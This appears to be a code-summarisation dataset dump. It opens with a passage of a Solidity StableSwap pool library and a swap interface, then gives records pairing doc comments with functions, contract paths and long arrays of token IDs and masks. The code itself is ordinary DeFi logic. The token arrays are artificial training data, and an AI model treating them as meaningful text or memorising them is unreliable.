.mul(v.feePerToken) .div(FEE_DENOMINATOR) ); } uint256 dy = xpReduced[tokenIndex].sub( getYD(v.preciseA, tokenIndex, xpReduced, v.d1) ); dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, v.newY, xp[tokenIndex]); } /** * @notice Calculate the price of a token in the pool with given * precision-adjusted balances and a particular D. * * @dev This is accomplished via solving the invariant iteratively. * See the StableSwap paper and Curve.fi implementation for further details. * * x_1**2 + x1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) * x_1**2 + b*x_1 = c * x_1 = (x_1**2 + c) / (2*x_1 + b) * * @param a the amplification coefficient * n * (n - 1). See the StableSwap paper for details. * @param tokenIndex Index of token we are calculating for. * @param xp a precision-adjusted set of pool balances. Array should be * the same cardinality as the pool. * @param d the stableswap invariant * @return the price of the token, in the same precision as in xp */ function getYD( uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d ) internal pure returns (uint256) { uint256 numTokens = xp.length; require(tokenIndex < numTokens, "Token not found"); uint256 c = d; uint256 s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < numTokens; i++) { if (i != tokenIndex) { s = s.add(xp[i]); c = c.mul(d).div(xp[i].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } } c = c.mul(d).mul(AmplificationUtils.A_PRECISION).div(nA.mul(numTokens)); uint256 b = s.add(d.mul(AmplificationUtils.A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Get D, the StableSwap invariant, based on a set of balances and a particular A. * @param xp a precision-adjusted set of pool balances. Array should be the same cardinality * as the pool. * @param a the amplification coefficient * n * (n - 1) in A_PRECISION. * See the StableSwap paper for details * @return the invariant, at the precision of the pool */ function getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) { uint256 numTokens = xp.length; uint256 s; for (uint256 i = 0; i < numTokens; i++) { s = s.add(xp[i]); } if (s == 0) { return 0; } uint256 prevD; uint256 d = s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { uint256 dP = d; for (uint256 j = 0; j < numTokens; j++) { dP = dP.mul(d).div(xp[j].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // dP = dP * D * D * D * ... overflow! } prevD = d; d = nA .mul(s) .div(AmplificationUtils.A_PRECISION) .add(dP.mul(numTokens)) .mul(d) .div( nA .sub(AmplificationUtils.A_PRECISION) .mul(d) .div(AmplificationUtils.A_PRECISION) .add(numTokens.add(1).mul(dP)) ); if (d.within1(prevD)) { return d; } } // Convergence should occur in 4 loops or less. If this is reached, there may be something wrong // with the pool. If this were to occur repeatedly, LPs should withdraw via `removeLiquidity()` // function which does not rely on D. revert("D does not converge"); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. * * @param balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the balances array. When multiplied together they * should yield amounts at the pool's precision. * * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory balances, uint256[] memory precisionMultipliers ) internal pure returns (uint256[] memory) { uint256 numTokens = balances.length; require( numTokens == precisionMultipliers.length, "Balances must match multipliers" ); uint256[] memory xp = new uint256[](numTokens); for (uint256 i = 0; i < numTokens; i++) { xp[i] = balances[i].mul(precisionMultipliers[i]); } return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(Swap storage self) internal view returns (uint256[] memory) { return _xp(self.balances, self.tokenPrecisionMultipliers); } /** * @notice Get the virtual price, to help calculate profit * @param self Swap struct to read from * @return the virtual price, scaled to precision of POOL_PRECISION_DECIMALS */ function getVirtualPrice(Swap storage self) external view returns (uint256) { uint256 d = getD(_xp(self), _getAPrecise(self)); LPToken lpToken = self.lpToken; uint256 supply = lpToken.totalSupply(); if (supply > 0) { return d.mul(10**uint256(POOL_PRECISION_DECIMALS)).div(supply); } return 0; } /** * @notice Calculate the new balances of the tokens given the indexes of the token * that is swapped from (FROM) and the token that is swapped to (TO). * This function is used as a helper function to calculate how much TO token * the user should receive on swap. * * @param preciseA precise form of amplification coefficient * @param tokenIndexFrom index of FROM token * @param tokenIndexTo index of TO token * @param x the new total amount of FROM token * @param xp balances of the tokens in the pool * @return the amount of TO token that should remain in the pool */ function getY( uint256 preciseA, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp ) internal pure returns (uint256) { uint256 numTokens = xp.length; require( tokenIndexFrom != tokenIndexTo, "Can't compare token to itself" ); require( tokenIndexFrom < numTokens && tokenIndexTo < numTokens, "Tokens must be in pool" ); uint256 d = getD(xp, preciseA); uint256 c = d; uint256 s; uint256 nA = numTokens.mul(preciseA); uint256 _x; for (uint256 i = 0; i < numTokens; i++) { if (i == tokenIndexFrom) { _x = x; } else if (i != tokenIndexTo) { _x = xp[i]; } else { continue; } s = s.add(_x); c = c.mul(d).div(_x.mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } c = c.mul(d).mul(AmplificationUtils.A_PRECISION).div(nA.mul(numTokens)); uint256 b = s.add(d.mul(AmplificationUtils.A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; // iterative approximation for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Externally calculates a swap between two tokens. * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256 dy) { (dy, ) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, self.balances ); } /** * @notice Internally calculates a swap between two tokens. * * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get * @return dyFee the associated fee */ function _calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256[] memory balances ) internal view returns (uint256 dy, uint256 dyFee) { uint256[] memory multipliers = self.tokenPrecisionMultipliers; uint256[] memory xp = _xp(balances, multipliers); require( tokenIndexFrom < xp.length && tokenIndexTo < xp.length, "Token index out of range" ); uint256 x = dx.mul(multipliers[tokenIndexFrom]).add(xp[tokenIndexFrom]); uint256 y = getY(_getAPrecise(self), tokenIndexFrom, tokenIndexTo, x, xp); dy = xp[tokenIndexTo].sub(y).sub(1); dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee).div(multipliers[tokenIndexTo]); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of * LP tokens * * @param account the address that is removing liquidity. required for withdraw fee calculation * @param amount the amount of LP tokens that would to be burned on * withdrawal * @return array of amounts of tokens user will receive */ function calculateRemoveLiquidity( Swap storage self, address account, uint256 amount ) external view returns (uint256[] memory) { return _calculateRemoveLiquidity( self, self.balances, account, amount, self.lpToken.totalSupply() ); } function _calculateRemoveLiquidity( Swap storage self, uint256[] memory balances, address account, uint256 amount, uint256 totalSupply ) internal view returns (uint256[] memory) { require(amount <= totalSupply, "Cannot exceed total supply"); uint256 feeAdjustedAmount = amount .mul( FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, account)) ) .div(FEE_DENOMINATOR); uint256[] memory amounts = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { amounts[i] = balances[i].mul(feeAdjustedAmount).div(totalSupply); } return amounts; } /** * @notice Calculate the fee that is applied when the given user withdraws. * Withdraw fee decays linearly over WITHDRAW_FEE_DECAY_TIME. * @param user address you want to calculate withdraw fee of * @return current withdraw fee of the user */ function calculateCurrentWithdrawFee(Swap storage self, address user) external view returns (uint256) { return _calculateCurrentWithdrawFee(self, user); } function _calculateCurrentWithdrawFee(Swap storage self, address user) internal view returns (uint256) { uint256 endTime = self.depositTimestamp[user].add(WITHDRAW_FEE_DECAY_TIME); if (endTime > block.timestamp) { uint256 timeLeftover = endTime.sub(block.timestamp); return self .defaultWithdrawFee .mul(self.withdrawFeeMultiplier[user]) .mul(timeLeftover) .div(WITHDRAW_FEE_DECAY_TIME) .div(FEE_DENOMINATOR); } return 0; } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param self Swap struct to read from * @param account address of the account depositing or withdrawing tokens * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return if deposit was true, total amount of lp token that will be minted and if * deposit was false, total amount of lp token that will be burned */ function calculateTokenAmount( Swap storage self, address account, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { uint256 a = _getAPrecise(self); uint256[] memory balances = self.balances; uint256[] memory multipliers = self.tokenPrecisionMultipliers; uint256 d0 = getD(_xp(balances, multipliers), a); for (uint256 i = 0; i < balances.length; i++) { if (deposit) { balances[i] = balances[i].add(amounts[i]); } else { balances[i] = balances[i].sub( amounts[i], "Cannot withdraw more than available" ); } } uint256 d1 = getD(_xp(balances, multipliers), a); uint256 totalSupply = self.lpToken.totalSupply(); if (deposit) { return d1.sub(d0).mul(totalSupply).div(d0); } else { return d0.sub(d1).mul(totalSupply).div(d0).mul(FEE_DENOMINATOR).div( FEE_DENOMINATOR.sub( _calculateCurrentWithdrawFee(self, account) ) ); } } /** * @notice return accumulated amount of admin fees of the token with given index * @param self Swap struct to read from * @param index Index of the pooled token * @return admin balance in the token's precision */ function getAdminBalance(Swap storage self, uint256 index) external view returns (uint256) { require(index < self.pooledTokens.length, "Token index out of range"); return self.pooledTokens[index].balanceOf(address(this)).sub( self.balances[index] ); } /** * @notice internal helper function to calculate fee per token multiplier used in * swap fee calculations * @param swapFee swap fee for the tokens * @param numTokens number of tokens pooled */ function _feePerToken(uint256 swapFee, uint256 numTokens) internal pure returns (uint256) { return swapFee.mul(numTokens).div(numTokens.sub(1).mul(4)); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param self Swap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { { IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom]; require( dx <= tokenFrom.balanceOf(msg.sender), "Cannot swap more than you own" ); // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = tokenFrom.balanceOf(address(this)); tokenFrom.safeTransferFrom(msg.sender, address(this), dx); // Use the actual transferred amount for AMM math dx = tokenFrom.balanceOf(address(this)).sub(beforeBalance); } uint256 dy; uint256 dyFee; uint256[] memory balances = self.balances; (dy, dyFee) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, balances ); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div( self.tokenPrecisionMultipliers[tokenIndexTo] ); self.balances[tokenIndexFrom] = balances[tokenIndexFrom].add(dx); self.balances[tokenIndexTo] = balances[tokenIndexTo].sub(dy).sub( dyAdminFee ); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap(msg.sender, dx, dy, tokenIndexFrom, tokenIndexTo); return dy; } /** * @notice Add liquidity to the pool * @param self Swap struct to read from and write to * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored. * @return amount of LP token user received */ function addLiquidity( Swap storage self, uint256[] memory amounts, uint256 minToMint ) external returns (uint256) { IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts must match pooled tokens" ); // current state ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, _getAPrecise(self), self.lpToken, 0, self.balances, self.tokenPrecisionMultipliers ); v.totalSupply = v.lpToken.totalSupply(); if (v.totalSupply != 0) { v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA); } uint256[] memory newBalances = new uint256[](pooledTokens.length); for (uint256 i = 0; i < pooledTokens.length; i++) { require( v.totalSupply != 0 || amounts[i] > 0, "Must supply all tokens in pool" ); // Transfer tokens first to see if a fee was charged on transfer if (amounts[i] != 0) { uint256 beforeBalance = pooledTokens[i].balanceOf(address(this)); pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i] ); // Update the amounts[] with actual transfer amount amounts[i] = pooledTokens[i].balanceOf(address(this)).sub( beforeBalance ); } newBalances[i] = v.balances[i].add(amounts[i]); } // invariant after change v.d1 = getD(_xp(newBalances, v.multipliers), v.preciseA); require(v.d1 > v.d0, "D should increase"); // updated to reflect fees and calculate the user's LP tokens v.d2 = v.d1; uint256[] memory fees = new uint256[](pooledTokens.length); if (v.totalSupply != 0) { uint256 feePerToken = _feePerToken(self.swapFee, pooledTokens.length); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); newBalances[i] = newBalances[i].sub(fees[i]); } v.d2 = getD(_xp(newBalances, v.multipliers), v.preciseA); } else { // the initial depositor doesn't pay fees self.balances = newBalances; } uint256 toMint; if (v.totalSupply == 0) { toMint = v.d1; } else { toMint = v.d2.sub(v.d0).mul(v.totalSupply).div(v.d0); } require(toMint >= minToMint, "Couldn't mint min requested"); // mint the user's LP tokens v.lpToken.mint(msg.sender, toMint); emit AddLiquidity( msg.sender, amounts, fees, v.d1, v.totalSupply.add(toMint) ); return toMint; } /** * @notice Update the withdraw fee for `user`. If the user is currently * not providing liquidity in the pool, sets to default value. If not, recalculate * the starting withdraw fee based on the last deposit's time & amount relative * to the new deposit. * * @param self Swap struct to read from and write to * @param user address of the user depositing tokens * @param toMint amount of pool tokens to be minted */ function updateUserWithdrawFee( Swap storage self, address user, uint256 toMint ) public { // If token is transferred to address 0 (or burned), don't update the fee. if (user == address(0)) { return; } if (self.defaultWithdrawFee == 0) { // If current fee is set to 0%, set multiplier to FEE_DENOMINATOR self.withdrawFeeMultiplier[user] = FEE_DENOMINATOR; } else { // Otherwise, calculate appropriate discount based on last deposit amount uint256 currentFee = _calculateCurrentWithdrawFee(self, user); uint256 currentBalance = self.lpToken.balanceOf(user); // ((currentBalance * currentFee) + (toMint * defaultWithdrawFee)) * FEE_DENOMINATOR / // ((toMint + currentBalance) * defaultWithdrawFee) self.withdrawFeeMultiplier[user] = currentBalance .mul(currentFee) .add(toMint.mul(self.defaultWithdrawFee)) .mul(FEE_DENOMINATOR) .div(toMint.add(currentBalance).mul(self.defaultWithdrawFee)); } self.depositTimestamp[user] = block.timestamp; } /** * @notice Burn LP tokens to remove liquidity from the pool. * @dev Liquidity can always be removed, even when the pool is paused. * @param self Swap struct to read from and write to * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @return amounts of tokens the user received */ function removeLiquidity( Swap storage self, uint256 amount, uint256[] calldata minAmounts ) external returns (uint256[] memory) { LPToken lpToken = self.lpToken; IERC20[] memory pooledTokens = self.pooledTokens; require(amount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require( minAmounts.length == pooledTokens.length, "minAmounts must match poolTokens" ); uint256[] memory balances = self.balances; uint256 totalSupply = lpToken.totalSupply(); uint256[] memory amounts = _calculateRemoveLiquidity( self, balances, msg.sender, amount, totalSupply ); for (uint256 i = 0; i < amounts.length; i++) { require(amounts[i] >= minAmounts[i], "amounts[i] < minAmounts[i]"); self.balances[i] = balances[i].sub(amounts[i]); pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } lpToken.burnFrom(msg.sender, amount); emit RemoveLiquidity(msg.sender, amounts, totalSupply.sub(amount)); return amounts; } /** * @notice Remove liquidity from the pool all in one token. * @param self Swap struct to read from and write to * @param tokenAmount the amount of the lp tokens to burn * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @return amount chosen token that user received */ function removeLiquidityOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { LPToken lpToken = self.lpToken; IERC20[] memory pooledTokens = self.pooledTokens; require(tokenAmount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require(tokenIndex < pooledTokens.length, "Token not found"); uint256 totalSupply = lpToken.totalSupply(); (uint256 dy, uint256 dyFee) = _calculateWithdrawOneToken( self, msg.sender, tokenAmount, tokenIndex, totalSupply ); require(dy >= minAmount, "dy < minAmount"); self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); lpToken.burnFrom(msg.sender, tokenAmount); pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); return dy; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * * @param self Swap struct to read from and write to * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @return actual amount of LP tokens burned in the withdrawal */ function removeLiquidityImbalance( Swap storage self, uint256[] memory amounts, uint256 maxBurnAmount ) public returns (uint256) { ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, _getAPrecise(self), self.lpToken, 0, self.balances, self.tokenPrecisionMultipliers ); v.totalSupply = v.lpToken.totalSupply(); IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts should match pool tokens" ); require( maxBurnAmount <= v.lpToken.balanceOf(msg.sender) && maxBurnAmount != 0, ">LP.balanceOf" ); uint256 feePerToken = _feePerToken(self.swapFee, pooledTokens.length); uint256[] memory fees = new uint256[](pooledTokens.length); { uint256[] memory balances1 = new uint256[](pooledTokens.length); v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA); for (uint256 i = 0; i < pooledTokens.length; i++) { balances1[i] = v.balances[i].sub( amounts[i], "Cannot withdraw more than available" ); } v.d1 = getD(_xp(balances1, v.multipliers), v.preciseA); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); balances1[i] = balances1[i].sub(fees[i]); } v.d2 = getD(_xp(balances1, v.multipliers), v.preciseA); } uint256 tokenAmount = v.d0.sub(v.d2).mul(v.totalSupply).div(v.d0); require(tokenAmount != 0, "Burnt amount cannot be zero"); tokenAmount = tokenAmount.add(1).mul(FEE_DENOMINATOR).div( FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, msg.sender)) ); require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount"); v.lpToken.burnFrom(msg.sender, tokenAmount); for (uint256 i = 0; i < pooledTokens.length; i++) { pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, v.d1, v.totalSupply.sub(tokenAmount) ); return tokenAmount; } /** * @notice withdraw all admin fees to a given address * @param self Swap struct to withdraw fees from * @param to Address to send the fees to */ function withdrawAdminFees(Swap storage self, address to) external { IERC20[] memory pooledTokens = self.pooledTokens; for (uint256 i = 0; i < pooledTokens.length; i++) { IERC20 token = pooledTokens[i]; uint256 balance = token.balanceOf(address(this)).sub(self.balances[i]); if (balance != 0) { token.safeTransfer(to, balance); } } } /** * @notice Sets the admin fee * @dev adminFee cannot be higher than 100% of the swap fee * @param self Swap struct to update * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(Swap storage self, uint256 newAdminFee) external { require(newAdminFee <= MAX_ADMIN_FEE, "Fee is too high"); self.adminFee = newAdminFee; emit NewAdminFee(newAdminFee); } /** * @notice update the swap fee * @dev fee cannot be higher than 1% of each swap * @param self Swap struct to update * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(Swap storage self, uint256 newSwapFee) external { require(newSwapFee <= MAX_SWAP_FEE, "Fee is too high"); self.swapFee = newSwapFee; emit NewSwapFee(newSwapFee); } /** * @notice update the default withdraw fee. This also affects deposits made in the past as well. * @param self Swap struct to update * @param newWithdrawFee new withdraw fee to be applied */ function setDefaultWithdrawFee(Swap storage self, uint256 newWithdrawFee) external { require(newWithdrawFee <= MAX_WITHDRAW_FEE, "Fee is too high"); self.defaultWithdrawFee = newWithdrawFee; emit NewWithdrawFee(newWithdrawFee); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; interface ISwap { // pool data view functions function getA() external view returns (uint256); function getToken(uint8 index) external view returns (IERC20); function getTokenIndex(address tokenAddress) external view returns (uint8); function getTokenBalance(uint8 index) external view returns (uint256); function getVirtualPrice() external view returns (uint256); // min return calculation functions function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256); function calculateTokenAmount( address account, uint256[] calldata amounts, bool deposit ) external view returns (uint256); function calculateRemoveLiquidity(address account, uint256 amount) external view returns (uint256[] memory); function calculateRemoveLiquidityOneToken( address account, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount); // state modifying functions function initialize( IERC20[] memory pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 a, uint256 fee, uint256 adminFee, uint256 withdrawFee, address lpTokenTargetAddress ) external; function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external returns (uint256); function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external returns (uint256); function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external returns (uint256[] memory); function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external returns (uint256); function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external returns (uint256); // withdraw fee update function function updateUserWithdrawFee(address recipient, uint256 transferAmount) external; }
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}./ solhint-disable-next-line no-inline-assembly
function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } }
35,025
[ 1, 10743, 326, 1758, 434, 279, 3236, 19357, 1450, 288, 2009, 5322, 17, 14056, 9139, 5846, 5496, 19, 3704, 11317, 17, 8394, 17, 4285, 17, 1369, 1158, 17, 10047, 17, 28050, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7810, 9139, 5846, 1887, 12, 2867, 4171, 16, 1731, 1578, 4286, 16, 1758, 7286, 264, 13, 2713, 16618, 1135, 261, 2867, 15071, 13, 288, 203, 3639, 19931, 288, 203, 5411, 2231, 6571, 519, 312, 945, 12, 20, 92, 7132, 13, 203, 5411, 312, 2233, 12, 6723, 16, 374, 92, 23, 72, 26, 3103, 72, 3672, 28133, 69, 23, 72, 5520, 11861, 74, 3707, 4449, 72, 23, 72, 6418, 23, 72, 23, 72, 23, 72, 23, 4449, 72, 9036, 12648, 12648, 12648, 13, 203, 5411, 312, 2233, 12, 1289, 12, 6723, 16, 374, 92, 3461, 3631, 699, 80, 12, 20, 92, 4848, 16, 4171, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 6723, 16, 374, 92, 6030, 3631, 374, 92, 25, 1727, 8942, 72, 11149, 3672, 23, 73, 29, 4630, 72, 29, 2313, 3103, 70, 10321, 8313, 25, 17156, 23, 1403, 12648, 12648, 12648, 12648, 13, 203, 5411, 312, 2233, 12, 1289, 12, 6723, 16, 374, 92, 7414, 3631, 699, 80, 12, 20, 92, 4848, 16, 7286, 264, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 6723, 16, 374, 92, 24, 71, 3631, 4286, 13, 203, 5411, 312, 2233, 12, 1289, 12, 6723, 16, 374, 92, 26, 71, 3631, 417, 24410, 581, 5034, 12, 6723, 16, 374, 92, 6418, 3719, 203, 5411, 15071, 519, 417, 24410, 581, 5034, 12, 1289, 12, 6723, 16, 374, 92, 6418, 3631, 374, 92, 2539, 13, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0x8C131c1ac498f88A08C498Ac65f7E2F0e7C88629/sources/StrategyCakeLP.sol
* @dev Function that has to be called as part of strat migration. It sends all the available funds back to the vault, ready to be migrated to the new strat./
function retireStrat() external onlyOwner { panic(); uint256 pairBal = IERC20(lpPair).balanceOf(address(this)); IERC20(lpPair).transfer(vault, pairBal); }
11,102,937
[ 1, 2083, 716, 711, 358, 506, 2566, 487, 1087, 434, 609, 270, 6333, 18, 2597, 9573, 777, 326, 2319, 284, 19156, 1473, 358, 326, 9229, 16, 5695, 358, 506, 24741, 358, 326, 394, 609, 270, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
